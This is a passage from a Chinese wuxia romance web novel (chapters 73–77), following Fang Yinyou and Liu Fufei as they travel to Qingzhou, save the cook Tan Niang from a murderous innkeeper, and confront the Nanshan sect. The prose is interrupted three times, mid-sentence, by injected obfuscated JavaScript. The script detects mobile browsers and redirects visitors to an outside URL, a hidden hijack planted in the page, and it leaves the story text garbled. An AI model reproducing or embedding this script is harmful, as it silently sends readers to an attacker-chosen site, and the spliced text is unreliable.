柳扶斐闻言垂下眼,长长的舒了一口气,垂在茶几底下的手终于不再发颤。 幸好,方隐攸并未嫌弃他是个心机深沉的朝堂中人。 “不过,我决定引他入江湖,而不是与他在京城算计人心。” 柳扶斐错愕的仰头看向方隐攸,“你...还是厌恶这朝堂的肮脏了,对吗?” 方隐攸散漫的耸耸肩,“朝堂如何与我何关,只是我觉得——” 方隐攸的语气变得狠厉起来,“他四年前能为了一本秘籍入江湖,那么如今他必然还会如此。” “人心难满、欲壑难填。” 方隐攸胸有成竹的勾了勾嘴角,“与其我在京城里束手束脚,不如将他引到江湖中来,而且我今日已经失手,日后他必然有了防备。” “一旦他踏入江湖,我就有把握揭开他脸上的面具。” “只要知道他是谁...”方隐攸握紧拳头,眼神变得凶狠,“我就不会再像今天一样,被他玩弄于鼓掌。” “最主要的的是...他远比我想象中的更加难以对付,我不想再与他慢慢周旋。” “我要速战速决” 方隐攸朝柳扶斐抬抬下颌,“你觉得如何?” 柳扶斐沉默的起身,牵住他的手将人带到屏风后面,然后开始替他更衣。 黑色衣裳上的血迹已经干涸,只留下一点淡的快要看不清的痕迹。 方隐攸眼神平静的看着柳扶斐,并未催促,任由他随意的摆弄自己,等到柳扶斐为方隐攸换上干净的衣裳后,才说道:“好,我与你同行。” “不过,在知道他是谁以后,我们依旧只能用权势来让他就擒。” “只有这样你才既能救出宇周,又不会与皇室为敌。” 方隐攸这次并未拒绝他的同行,他点了点头,嬉皮笑脸道:“我会护你安然无恙的。” 柳扶斐轻哼一声,“你自然要护住我,否则我爹不会轻易饶了你。” 方隐攸闻言从怀里拿出那块还没焐热的令牌,“这令牌是不是得还给你爹了?” “他既已给出去的东西,哪有收回的道理。” 柳扶斐挡住嘴,故弄玄虚的悄声道:“我爹有私兵两万,这令牌可以调遣私兵。” 方隐攸眉头一皱,他虽然是个江湖人,可是却也知道私自招兵买马可是死罪。 “你...”方隐攸无语的横他一眼,“你怎么这种事都随便往外说?” 柳扶斐嘿嘿一笑,撒娇似的将脸埋在他的颈间,“方大侠是个举世无双的好人,必然不会将此事到处说陷我爹于险境的,嗯?” 柳扶斐尾音上扬,黏黏糊糊的落在方隐攸的耳朵里,激得他肩膀一抖,没忍住抬手握住了柳扶斐的后颈,将人从自己的颈间提了出来。 “柳扶斐,你是故意让我知晓你与舒慕谨的所做作为的,对吧?” 方隐攸啧啧嘴,“枉我当初还以为柳公子是个生性单纯之人,没想到乃是个城府深沉的谋臣。” 柳扶斐撇下嘴,哭丧着脸,委屈巴巴的说道:“多谢方大侠只说我城府深而不是心思毒。” “否则我可当真要心如刀绞了。” 74.偶遇崔清止 第二日天还未亮时,方隐攸和柳扶斐两人就离开了庄子。 柳扶斐才回京又离京,多少得去哄哄他爹。 方隐攸对此深以为然,不然他爹以为是自己这个江湖漂泊客撺掇的可就误会大了。 所以,他们得早点出发,赶在柳桢淞离府当值前赶回去。 那慢慢悠悠的马车便没了用武之地,方隐攸再次将柳扶斐扔到背上,背着他疾步奔走,不到半盏茶的功夫进了城,再过片刻功夫就到了将军府门口。 方隐攸将人往台阶上一甩,自己往后撤几步,喊道:“我去城门口等你,你自己去与你爹辞行去。” 柳扶斐一眼就看出来他心中所想,不过就是觉得有愧于他爹,于是便摆了摆手,“去吧,我很快便来。” 说着,他从怀里掏出一锭金子递给他,“往南走两个街口,那里有一家包子铺,里面的肉包子不错,你去尝尝吧。” 方隐攸接过金子在手心掂了掂,满意的嘿嘿一笑,转身便走。 眼下临街的铺子半数未开,那家包子铺前面挤满了人,不大的堂屋里摆着的几张桌子也都坐满了人,看来他家包子确实是不错。 方隐攸从衣袖里掏出几枚铜板,走到队伍最后面慢慢的往前走,好不容易等到他了,却被告知肉包子没了,只剩下几个青菜包。 “客官,我这素包也好吃的很,要不尝尝?” 老板娘面容慈祥,笑起来十分有福气,但是方隐攸想吃点肉,还是退了一步,想去别家看看。 “我这里还有。” 崔清止的声音不期然的响起,方隐攸循声看去,便看到一身素白长袍的崔清止正拿着两个包子站在屋檐下笑看着自己。 方隐攸走到他面前,毫不客气的接过包子,一口咬下半个包子,嘴里立刻便盈满了肉香。 他满意的点点头,”确实不错!“ 崔清止于是将剩下的那个也递给了他。 “都给你。” 方隐攸将手里剩下的半个包子塞进嘴里,然后接下了他递过来的最后一个肉包子。 方隐攸含糊的朝着老板娘喊了一句:“老板娘,给我两个素菜包子!” 老板娘应一声,捡起来两个热气腾腾的菜包子递给他。 方隐攸顺手递给崔清止。 “你吃这个。” 崔清止忍着笑接过包子,“我以为方兄至少得还我三个素菜包。” 方隐攸将手里的铜板扔到老板娘面前钱盒里,然后和崔清止一道朝着屋里刚空下来的一个桌子走去。 “你又吃不完三个素菜包,我何必浪费这个钱。” 崔清止勾了勾嘴角,故意道:“那我不是亏了吗?” 方隐攸晃晃悠悠的坐到桌边,朝他抬了抬下颌,“你来京城做什么?” 崔清止规矩的坐在他对面,咬了一口包子慢慢的嚼,等到嚼完了才回道:“原本想着来这里谋条生路,却发现并非乐土,今日正打算走。” 方隐攸的手撑在桌子上,打量他一眼,“怎么了?” 崔清止摇摇头,“说来也都是些繁琐的小事,没必要再提起,反正出了这京城,我便只当没来过。” “那你接下来打算去哪里?” 崔清止迟疑片刻,反过来问方隐攸,“方兄呢?为何来京城?” “为了些前尘往事。”方隐攸咬一口肉包子,边嚼边说,“不过今日也要离去了。” “去往哪里?” “去青州找韩桓临。” 崔清止一愣,惊讶的看着他,“你找他做什么?” “抢他的盟主之位。” 方隐攸说得随意,崔清止确实惊得站了起来,他不止置信的看着方隐攸。 “为什么...我以为你不在意这些虚名...” “有些事还是得有个响亮的身份才好办。” 方隐攸咽下最后一口肉包子,朝崔清止抬了抬下巴,“你呢?要去哪里?” 崔清止眼神复杂的看着他,深呼一口气后缓缓道:“抚州。” “抚州?”方隐攸喃喃一句,“我曾去过那里,抚州灵谷峰上的灵医门门主祁老翁还曾医治过我。” “在并阳县的墓中,我曾见过他。”崔清止顿了一下,“当时,你还险些要了他的命。” 方隐攸讪讪的摸了摸鼻子,有些尴尬的说到:“当时我...” “我明白。” 崔清止走到方隐攸面前,笑道:“既然你我都往南边去,那不如同行吧。” 方隐攸也站了起来,朝他摆了摆手。 “我得和柳傅文同行。” 崔清止闻言眼中闪过一丝复杂的神色,又很快的恢复如初,他点点头,“我知道了。” “一道出城吧。”方隐攸往店外走去,“我正好叮嘱你些事。” 崔清止有些诧异的跟上他的步伐,“何事?” 眼下街上的行人渐渐多了起来,方隐攸和崔清止并肩走到人群中,缓缓地朝着城门的方向走去。 方隐攸双手环抱在胸前,说到:“南山派虽然在青州,但是抚州有一个叫大觉帮的帮主和他关系十分亲厚,若是让他知道你在抚州难保不会告诉韩桓临。” “你得小心些,千万别被他们发现了踪迹。” “待我夺了他的盟主之位,你便可不再小心翼翼的行事。” 崔清止看着地面清晰的车辙印,轻轻的嗯了一声。 方隐攸一时没听清,又重复了一遍,“时间不会太久,你放宽心。” 崔清止抬起头,看向他的侧脸,清晰而郑重的嗯了一声。 “方兄,我知道了。” 两人都是习武之人,步履拿的也轻快,很快便到了城门口,崔清止看着远处的护城河,朝着方隐攸举手作揖,“来日再见。” 方隐攸摆了摆手,“好。” 崔清止随后转身离去,衣摆荡起轻微的弧度,看上去矜持又从容。 方隐攸走到城门口的一颗柳树下,姿态散漫的倚在树干上,随后扯住一根柳枝捏在手中把玩。 眼下春意正盛,杨柳垂垂风袅袅,方隐攸站在树下枯等倒也不觉得无聊。 等到城门往来的人逐渐多了起来,柳扶斐才姗姗来迟。 他一眼就看到了方隐攸,笑着跑了过来,然后一把将人抱在怀里。 方隐攸轻拍了一下他的后腰,“怎么了?” “说好了很快就来,让你等了这么久,我很愧疚。” 柳扶斐将下巴压在方隐攸头顶蹭了蹭,“我方才去宫里见了圣上,此次离京便不算是擅离。” “那家店里的肉包子怎么样?” 方隐攸咂咂嘴,“只吃了两个,压根没记住味道,只觉得好吃。” 柳扶斐轻笑一声,“下次回来我与你一起去吃,吃一笼,让你慢慢品尝。” 方隐攸满意的点点头,又将自己偶遇崔清止一事告诉了他。 柳扶斐撇撇嘴,“怎么总遇上他,我一直觉得你对他十分特殊。” “何出此言?” 柳扶斐哼哼一声,握住他的手腕捏了捏,“说不清楚。” “行了,赶路吧。” 说完,方隐攸下意识的就想将人往背上扔,柳扶斐立刻躲开,惊呼一声,“方隐攸,本公子堂堂权贵,怎么可以再被你背着跑!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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柳扶斐猛地坐起来,埋怨的剜他一眼,“不歇了!” 方隐攸打量他一眼,瓷白的肌肤上还有未退去的疾跑后的红晕,猩红的嘴微微嘟起,尤其是那双黑白分明的眼睛,眼下里面满是委屈与控诉。 方隐攸玩弄心起,抬手拍了拍自己胸膛,“枕吧。” 柳扶斐狐疑的打量他一眼,然后缓缓的将头放在上面,可是还不等他安逸的闭上眼,方隐攸又还是急速的呼吸。 “方隐攸!” 柳扶斐立刻站了起来,愤怒的俯视着他。 方隐攸却被他这幅气鼓鼓的样子逗得哈哈大笑,也跟着站了起来,抬手捏住他的下巴仔细打量着他的神色。 “柳兄,眼下你我不在京城,我自然便放肆些。” 说着,他的拇指往上一抬,捏住他的下唇缓慢摩挲,“你应该不会怪我吧?” 方隐攸说话时语气蛊惑,眉眼带笑,自从彼此表露了心意以后,柳扶斐就总觉得方隐攸看自己的眼神变得非常多情。 眼下他有意挑逗自己,眼里的流转的眼波便比城外的柳枝还软绵,一看就能绕住他的脖颈,令他呼吸加速,脸红心跳。 柳扶斐艰难的咽了咽嗓子,声音沙哑的说道:“不怪。” 方隐攸眼中的笑意越来越浓,最后终于忍不住放开他,开始哈哈大笑起来。 柳扶斐瞬间清醒过来,委屈又愤怒的指着他骂道:“方隐攸,你个不知情趣的莽夫!你给我等着,总有一天我也要如此对你!” 方隐攸无所有的耸耸肩,反手握住他的肩膀将人扔到自己背上。 “柳兄,等到了那天再说吧。” 75.再到青州 京城距青州一千七百多里,方隐攸背着柳扶斐日夜兼程奔袭不到两日便到了。 一进城柳扶斐便带着方隐攸直奔酒楼要了一间上房,将人按在软塌上后,殷勤的给他捶背捏腿。 方隐攸悠哉的趴在软塌上,闭上眼发出一声享受的低哼。 柳扶斐眉眼间带上笑意,凑到他耳边讨巧的问道:“方大侠觉得如何?” 方隐攸嗯一声,语气含糊的回一句尚可。 柳扶斐半束的头发从肩头滑落,盖到方隐攸背上和他的青丝纠葛到一起,柳扶斐瞥见了也不管,反倒是抖抖肩膀,让更多的头发滑落。 “那在路上时你说的,下次换做我背你,可还算数?” 方隐攸摇摇头,“不算数,你轻功不行,太慢了。” 柳扶斐哼一声,嗖的一下站起来,用力的坐到榻边,“我都被你背媳妇似的背了一路,你让我背背怎么了?” 方隐攸侧过身子,用手撑住下颌,眼神轻飘飘的落在柳扶斐身上,“那你是我媳妇吗?” 柳扶斐侧过脸,望进他的眼里,不怀好意的笑了笑。 “你今日若与我同床共枕,我便做你媳妇。” 方隐攸呵一声,将手臂枕在脸下,“不,热。” 柳扶斐哭丧着脸,干嚎一声,“这还是春日你便嫌热,那等到酷暑,你是不是碰都不让我碰了?” 方隐攸闻言没忍住笑出了声,“对。” “不行!” 柳扶斐站起身来在榻前踱步片刻,然后忽然拿出怀中骨笛吹出一声鸣响,一个黑衣男子矫健的翻窗落到屋里,毕恭毕敬朝柳扶斐跪拜见礼。 “你去给我弄一盆冰来。” 男子闻言一愣,有些疑惑的看向柳扶斐,有些不敢相信自己听到了什么。 “我说要去你给我寻一盆冰来!越多越好!” 柳扶斐说完,从怀里掏出一锭金子扔到男子怀里,“够不够?” 男子捏住金子,刚想说够了,方隐攸忽然坐了起来。 “金子给我,今夜我与你共枕。” 黑衣男子闻言眼睛瞪得老大,视线不受控制的在两人身上来回打转。 柳扶斐看向方隐攸,“你说什么?再说一遍?” 方隐攸直接翻身下榻,将男子手里的金子抢了过来揣进怀里。 随后,他朝着男子抬抬下巴,“走吧,你家主子没事了。” 男子看一眼柳扶斐,发觉他没有任何不悦,便朝着两人躬身一拜后,迅速的翻窗离开。 柳扶斐眼神灼灼的看着他,“方隐攸,你拿了我的银子,可得信守承诺。” 方隐攸点点头,几步走到屋里的方桌边,给自己倒了一杯冷茶润嗓子。 “不过就是陪你睡一夜而已,有什么大不了的。” “不对!”柳扶斐凑到方隐攸面前,伸手按住桌子,眼神戏谑的看着他,“不是一夜,是日后!” “日后你都得和我同床共枕!” 方隐攸放下手中的茶杯,抬眼盯着他,“那是另外的价钱。” 柳扶斐嘿嘿一笑,从怀里掏出几锭金子摆在放桌上,然后朝方隐攸使了个眼色,“如何?” 方隐攸直接大手一挥,将金子尽数收入囊中。 “成交。” 柳扶斐瞬间雀跃,他哈哈大笑一声,“走走走,先去吃顿好的,然后我们便...”说到此处,他朝方隐攸使了个心领神会的眼神,“就寝。” 方隐攸眉峰一挑,抬手按了按怀里的金锭,意味不明的笑了笑,与他一同出了房门,朝着楼下大堂而去。 他们此行来青州是为了找南山派韩桓临的麻烦,所以选的住处里南山派并不远,出门只需要半盏茶的功夫就能到南山派所在的山脚下。 因此,这个客栈里住的大部分便也都是为了南山派而来,有些是为了投入韩桓临门下,有些则来意不明。 两人选了一个靠窗的位置,要了满满一大桌菜的菜和一坛酒。 酒坛刚端上来,方隐攸的眉头就皱了起来,又是兑了水的脏货,他不喝。 柳扶斐虽喝过上等的美酒,如此糠秕之物也能入嘴,他抿了一口后朝方隐攸啧啧嘴,“确实难喝。” 方隐攸呵一声,“柳兄倒是雅俗共赏,这种东西都喝得下去。” 柳扶斐放下酒杯,给自己沏上一杯热茶漱口。 方隐攸看着他的动作,夹起一筷子牛肉吃进嘴里,眉眼瞬间舒展,笃定的说到:“这厨子是岭南人。” “这里距岭南可不近,怎么会有岭南来的厨子?” 方隐攸又吃一口,“不会错,我吃的出来。” 话音刚落,便看到通往后厨的廊里突然跑出来一个身穿布衣的年轻女人,她手里还拿着一把沾了些青菜屑的菜刀,神色惊慌,浑身都在颤抖。 坐在后门口的客人见状一惊,下意识的拿起桌上的利刃,眼神眈眈的盯着她,怒骂一句,“你这娘们要做什么?” 女人闻言一惊,手里的菜刀举到身前,眼神茫然的看向出声的男人。 “我...”女子战战兢兢的开口,话还没说完,就看到一柄长枪从廊里飞了出来。 枪尖对准的是女子的面门。 方隐攸手中的筷子在指尖快速翻转,然后用力的朝着长枪一甩,正好打在枪头上。 长枪往旁边一偏,从女人的耳侧略过,继续往前飞去,紧接着被一个魁梧的男人一刀斩断,落在了地上。 魁梧男人手里的是一把重刀,砍断长枪后继续往下落,刀锋没入地砖寸许后才终于止住了攻势。 他看向廊中疾步跑来的几个手执长枪的壮汉,怒喝一句,“谁扔的枪!” 女子如惊弓之鸟,手一抖便扔了手里的菜刀,然后快步跑到魁梧男人的身后,哭喊道:“大侠救我!救救我!” 柳扶斐递给方隐攸一双干净的筷子,低声说道:“边吃边看,菜要冷了。” 方隐攸噢一声,迅速吃完碗里的饭,然后长腿一迈,反坐在长凳上,专心的看着那群人。 魁梧男人横过身子,将女人掩在自己背后,朝着那几个壮汉抬了抬下巴,“几个男人欺负一个弱女子,一群没脸没皮的东西。” 说着,他抬脚一踢刀背,重刀腾空而起,他举着重刀怒目而视,浑身的肌肉瞬间鼓起,像是一只愤怒的黑熊。 为首的一个壮汉见状立刻抬手安抚,解释道:“大侠误会,并不是我们欺负她,而是她不守规矩,偷了我们店主的金银不认账,所以我们才不得已出手。” 魁梧男人侧过头看向女人,“他们说的是真是假?” 女人委屈的哭出了声,“我没有...他们污蔑我!谭娘我怎么可能做这种偷鸡摸狗之事?” 谭娘抬手抹泪,红着眼瞪着那几个壮汉,“是店家欲要霸占我,我宁死不从才逃了出来。” 魁梧男人猛地一跺脚,身上的肌肉一震,直接挥刀就朝着那几个人砍去。 几个壮汉反应迅速的侧身躲开,手里的长枪一挥,分别朝着男人四肢刺去。 魁梧男人发出几声低笑,重刀落地后又猛地抬起,在身前挥砍一圈,吓得几人连连后撤。 方隐攸满意的点点头,“这重刀确实好用,就是过于笨重了些。” 话音刚落,便看到一个壮汉扔了长枪,从怀中掏出一并匕首,委身迅疾的靠近魁梧男人。 谭娘惊呼一声,“大侠小心!” 魁梧男子双手握住重刀往身前一砍,抬脚往身后一踢,将欲要偷袭的壮汉一脚踹出丈许,重重的砸在饭桌上。 身前几人的长枪也被他尽数斩断。 男人呵呵一笑,朝几人抬抬下巴,“再来!” “我来。” 一个瘦高的男人从廊里走了出来,他看上去已经年过半百,鬓角有几缕白发,一双三角眼阴狠的盯着魁梧男人打量。 谭娘见到他时浑身一抖,立刻钻到一个方桌底下,不敢再动。 男人讥讽的撇一眼谭娘,然后看向魁梧的男子,“李衷,多管闲事是会要人命的。” 李衷的脸色在看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922440|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到男人的第一时间就绷了起来,他将重刀扛到肩上,语气狂妄的说道:“果然是狗改不了吃屎,陈尔,十多年过去了,你还是改不了好色的毛病。” 陈尔冷哼一声,忽然从腰间拔出一柄软剑,以迅雷不及掩耳之势直冲向李衷。 方隐攸只看一眼,就知道李衷接不住这一击。 于是便捡起桌上的筷子,朝着陈尔握剑的手臂甩去。 陈尔一惊,立刻收手后撤,随后眼神警觉的朝着方隐攸望了过来。 方隐攸将可生剑扔到柳扶斐怀里,免得被人认出来,让韩桓临知晓他如今就在青州,坏了正事。 随后,他姿态散漫的走到李衷身边,用手弹了一下他的重刀,发出一声厚重的声响。 “我见过比这更利的刀。” 李衷握紧重刀,下意识的问,“谁?我倒要和他比试比试!” 方隐攸但笑不语,随后侧过身看向一直眼神狠毒的盯着自己的陈尔,“我若说这女人我今日一定要救呢?” 陈尔皮笑肉不笑的扯了扯嘴角,“英雄谁都想当,可是也要看看自己有没有那个本事!” 说罢,他便提剑朝着方隐攸挥来,方隐攸脚尖点地,腾空而起后踩在他的剑脊上,然后翻身落到他身后。 方隐攸嘻嘻一笑,“在这呢。” 陈尔闻声下意识的想要反手回击,方隐攸却在他还没做出反应之前一脚踹向他的后腰,将人直接踹到了李衷面前。 李衷脸色一喜,手中的重刀用力往下一砍,鲜血瞬间落了满地。 酒楼大堂里的其他客人见状举座哗然,皆是一愣好奇的望着方隐攸,惊叹于他竟然能一招制服陈尔。 还有一个人往前一步,朝他举手一拜,“敢问大侠尊姓大名?” 方隐攸摆了摆手,“无名小卒。” 说罢,他走到谭娘躲藏的桌子前,蹲下来看着她,问道:“你是这家店的厨子?” 谭娘点点头。 “你是岭南人?” 谭娘再次点点头。 方隐攸了然的哦一声,看向地上陈尔死不瞑目的尸体,“他死了,这店是你的了。” 谭娘一惊,慌忙的从桌子底下钻了出来,方隐攸也顺势站了起来。 “恩人...这...万万不可...” “为何?” 谭娘红着眼,“我一个女子,如何顾得好这个店...而且...这店本就不是我的...” 方隐攸撇向陈尔,“这店,必然也不是他的。” 说完,他冷眼看向原先持枪冲出来的几个壮汉,厉声问道:“原先的店家呢?” 那几个人闻言相顾一眼,然后抬手往大堂后面的院子一指,“地下。” 谭娘惊讶的瞪大眼睛,“这...” “一个秉性卑劣之人,怎么可能经营出这么大的酒楼。”方隐攸往后撤一步,坐到长凳上看着谭娘,“你才来没几日吧?” 谭娘点点头,“七日。” 方隐攸又看向那几个壮汉,“原来的厨子呢?” 那几个壮汉再次往外一指,“地下。” 方隐攸气极反笑,眼中杀意腾飞,不过他动手之前下意识的看向柳扶斐。 柳扶斐朝他摇摇头,方隐攸瞬间冷静下来,这里距离南山派如此近,若是杀太多人确实容易引起韩桓临的注意。 于是他从身侧桌子上抓起一把筷子朝那几个人壮汉甩了过去。 筷子不偏不倚的插入他们的发髻,吓得几人惊呼一声,看向方隐攸的眼神变得十分畏惧。 方隐攸指着谭娘对他们抬了抬下巴,“将她当做新的主子,好生帮她打理好这家酒楼。” 壮汉们连忙应好,然后朝着谭娘举手作揖,叫了一声主子。 谭娘却依旧不愿,她忽然一下子跪倒在方隐攸的面前,泪眼盈盈的朝着方隐攸磕了个头。 方隐攸吓得一下子跳开,喊道:“你这是做什么?” “恩人,您如大慈大悲的活菩萨在世,救救小女的夫君吧!” 76.师出有名 方隐攸和柳扶斐对视一眼,有些踌躇不知该不该应。 方才出手不过是举手之劳,若是特意去救人,那便需要耗费许多功夫,况且眼下他还有正事在身,本不该节外生枝。 柳扶斐看出他的迟疑,走到他身边朝着谭娘试了眼眼色,“你随我们来。” 说罢,他与方隐攸一道,将人引到了楼上屋内。 谭娘一进屋就跪在了地上,泪眼婆娑的望着两人。 柳扶斐将人扶了起来,温声问道:“你所求何事?” 谭娘用衣袖擦去脸色的泪痕,哽咽的说道:“小女夫君苗四郎本是岭南一屠夫,在街口卖猪肉营生。” “半个多月前动身前往京城祭拜父母,路过青州时不知怎么惹到了南山派内的人,被他们打到半死,还递了口信回去,让我准备百两白银来赎人。” “我听到消息后,凑够了银子连夜赶来青州,可是他们拿了我的银子却不肯放人...” 谭娘开始嚎啕大哭,“就连让我与夫君见一面都不肯...我日夜忧心夫君,寝食难安...” “我看恩人武艺不凡,必然不怕那南山派的人,所以...” 柳扶斐闻言眉眼一动,他为谭娘沏上一杯温茶,安慰道:“小事一桩,明日我们便去南山派救回你夫君。” “不过...” 柳扶斐的语气变得有些为难,“此事还需要谭娘你相助。” “恩人尽管说。”谭娘恳切的看着柳扶斐,“只要能救出夫君,谭娘这条命都能豁出去。” “你明日需从酒楼哭喊着上南山派,将此事闹得人尽皆知。” 谭娘闻言毫不犹豫的点点头,“好,小女必然如恩人所言行事。” 等到谭娘离开后,方隐攸不解的看着柳扶斐,“既然那苗五郎在南山派,明日我直接让韩桓临放人不就是了,为什么要她哭哭啼啼一路上去,多麻烦。” 柳扶斐走到方隐攸面前,笑着解释道:“虽然韩桓林的名声在江湖中已经大不如前,但好歹也是盟主。” “你虽然可以直接去与他比试,逼他让出盟主之位,但是如此一来,江湖中人只会说你方隐攸蛮横无理,不讲江湖道义。” “但是倘若你借着为谭娘讨个公道的名义,别人自然不敢再这么说你,只会怪韩桓林和他的门众多行不义必自毙。” 方隐攸斜眼瞥他,“难为你瞬间就思虑得如此周全。” 柳扶斐装模作样的叹一句,“谁让我心仪之人是个毫无城府的武夫,本公子便只能为他多筹谋些了。” 方隐攸啧啧嘴,双手环胸大的后撤一步,似笑非笑的打量着他,“若是今日没遇上谭娘呢?你要如何?” “师出有名,无名便无中生有。”柳扶斐眯起眼睛,“总归会为方大侠谋一个好名声。” 方隐攸呵一声,“我才不在意这种虚伪的东西。” 柳扶斐伸手扯住方隐攸衣袖轻轻一摇,“我知道你不在意,你便当做是我这个权臣沉溺于玩心机盘算,好不好?” 方隐攸郁闷的横他一眼,“说这些话做什么,我又没有怪你。” 说着,他往前一步,坐到面前的椅子上,长腿往前一伸,脚尖抵住柳扶斐的脚尖,仰着头睥着他。 桌上的烛火一跳,发出噼啪一声清响。 柳扶斐被他看得莫名其妙,“这么看着我做什么?” 方隐攸从怀里掏出一锭金子往他面前一伸。 “赏你的。” 柳扶斐啧啧嘴,撇过脸不看他,也不看他手中的金子。 “权势滔天的显贵陪我这个匪徒来江湖里厮杀,总归要给你点好处,不然...”方隐攸的脚尖轻点一下他的鞋面,“我良心不安呐。” 柳扶斐闻言一愣,倏的一下转过脸来不可置信的盯着他,“你真如此想?” 方隐攸点点头。 柳扶斐眉毛瞬间蹙起,埋怨而委屈的瞪着他。 “你不准这么想!” 他蹲到方隐攸面前,将下巴压在他的膝盖上,抬眼眼神灼灼的盯着他,“方隐攸,这都是我心甘情愿的,你不需要对我感觉到亏欠。” “这种情绪会让你对我感觉到不安,时日久了你便会觉得沉重,你又是个肆意惯了的性子,必然会果断的舍弃掉这种无形的束缚。” 方隐攸思忖片刻,困惑的看着他,“会吗?” 柳扶斐笃定的点点头,“会!”说完,他伸手握住方隐攸的手轻轻摩挲,“所以你绝对不能有这种想法。” “一点苗头都不行。” “我柳扶斐只是个将军之子,单论身份比我金贵的人多了去了,而且功夫上我连你十招都接不住,能和你一起在江湖中闯荡,是我之幸。” 方隐攸十分赞同的点点头,“那倒也是,眼下这江湖中能与我为敌者少之又少,有我作伴,你也算是高枕无忧了。” 方隐攸说完,将桌子上的金锭重新揣回怀里,朝着柳扶斐嘻嘻一笑,“这是我的。” 柳扶斐嗯一声,将脸放在他的膝盖上,抬手按住砰砰作响的心脏,长呼了一口气。 方隐攸倚靠在椅背里,无意识的捏住柳扶斐的耳垂按了按,“今夜过后,就没有安逸日子了。” “早些睡吧。” “好。” 第二日方隐攸不出意外的又被热醒了,他无语的将压在自己身上的柳扶斐推开,然后一脚踹开盖在自己身上的薄被子,长长的吐出一口热气。 柳扶斐还未醒,不依不挠的再次凑了过来。 他的长臂一搭盖在方隐攸的肩膀上,然后手自顾的往下一伸探入方隐攸的背后,将人拢在臂弯里后,再用力一招就想把人往怀里带。 方隐攸闭上眼,由着他的动作,在滚入他怀里的一瞬间,立刻抬脚一踹。 柳扶斐砰的一声落到地上,发出一声闷哼。 方隐攸翻身下床,抖了抖溻湿的单衣,嫌弃的看向躺在地上发懵的柳扶斐,“你怎么火气这么重?” 柳扶斐闻言茫然的看向他,然后嗖得一下站起来,直接扯开衣裳,将自己毫无保留的展示在他面前。 “它的火气比较重。” 方隐攸惊得目瞪口呆,他面红耳赤的瞪着柳扶斐,吼道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谭娘轻声应一声,“小女勉强识些字。” 柳扶斐点点头,未再多问。 等到几人吃完饭后,方隐攸从怀里掏出一个小瓷瓶递给谭娘,“方才去城中大夫那里拿的药,你这一路哭喊上去可不容易。” “觉得累了便吃上一颗,可让你好受些。” 谭娘惊讶的看着方隐攸,眼眶里瞬间盈满了泪,哽咽着说道:“小女从岭南来,一路上受尽苦楚,从未得人垂怜,到了这青州城亦是如此,未曾想还能遇上恩人如此慈悲的人...” 方隐攸有些不自在抬手制止了她的话,“举手之劳而已,不用说这些让人难为情的话。” 谭娘摸一把泪,破涕而笑,“好,不说。” 随后,她起身朝着方隐攸举手作揖。 “多谢大侠恩情,谭娘没齿难忘。” 方隐攸点点头,看向柳扶斐,“那我们便走吧。” 77.抢个盟主玩玩 事实证明,柳扶斐的办法非常有用,谭娘的一路哭喊不仅让那些江湖人跟着跑上了南山派看热闹,就连青州的一些平民百姓都拥了上来。 其中还有许多与谭娘差不多年纪的妇人在旁边高声应和,她们不是江湖中人,不懂江湖规矩,也不知道韩桓临究竟是多么响当当的人物,只知道他害得一个弱女子凄苦无依,那就是个不折不扣的坏人。 所以骂起来便十分放肆,连他的祖宗八代都被提出来数了个遍。 谭娘哭了一路,因为方隐攸备下的药,嗓子也不见沙哑,嚎起来让人将她说的话听得清清楚楚。 “我夫君为人耿直,从不作恶!” “他南山派以众欺寡,将我夫君打得半死不说...” “还让我一个弱女子,从岭南拿着钱来赎人!” 谭娘脱下鞋袜,露出一双伤痕累累的脚,“我日夜兼程,走破了五双鞋才赶到青州!” “一路上受了不知道多少苦。” 谭娘泪眼婆娑的望着面前的一个妇人,“若是能救出我家夫君,我吃些苦也就罢了,可是...” 谭娘愤怒的指向南山派紧闭的大门,“可是他们这群匪徒收了我的银两,却不肯放人!” 谭娘哭到哽咽,无力的扑倒在地。 “我一日不落的来,求他们放了我家夫君...”谭娘紧闭双眼,羞怒到浑身颤抖,“他们却趁机...” 说道这里,谭娘终于是再也说不下去,将头扣在地上,发出一声声伤心欲绝的哀嚎。 围观的众人见状一阵唏嘘,皆手指着依旧紧闭的大门破口大骂。 忽然,一支利箭刺破长空,朝着俯趴在地上的谭娘而来。 方隐攸立刻冲到谭娘面前,一剑斩断利箭。 他往前一步,将谭娘护在身后,仰头看向站在院墙之上的一个黑衣男人。 “怎么?你们掌门差你来杀人灭口?” 方隐攸话音一落,周围又是一阵愤怒的咒骂声,骂韩桓林此人实在是卑劣,掳了人家夫君,还要杀一个弱女子,实非侠义之士。 “此女子满嘴胡言,污蔑掌门,凭何杀不得?” “污蔑?”方隐攸嘲弄一笑,手指着谭娘那双惨不忍睹的脚,“这是污蔑?” 说完,方隐攸朝男人摆了摆手,“你去让韩桓临出来,就说他这盟主做的实在是德不配位,方隐攸今日替天行道,来让他挪位置。” 男人闻言一惊,警惕的打量着他,“你是方隐攸?” 方隐攸悠哉的往前走一步,眼神轻飘飘的看向他,“谁敢冒充我?” 男人收起弓箭,立刻翻下院墙,想来是去找韩桓林了。 方隐攸回头看向谭娘,“先躲起来。” 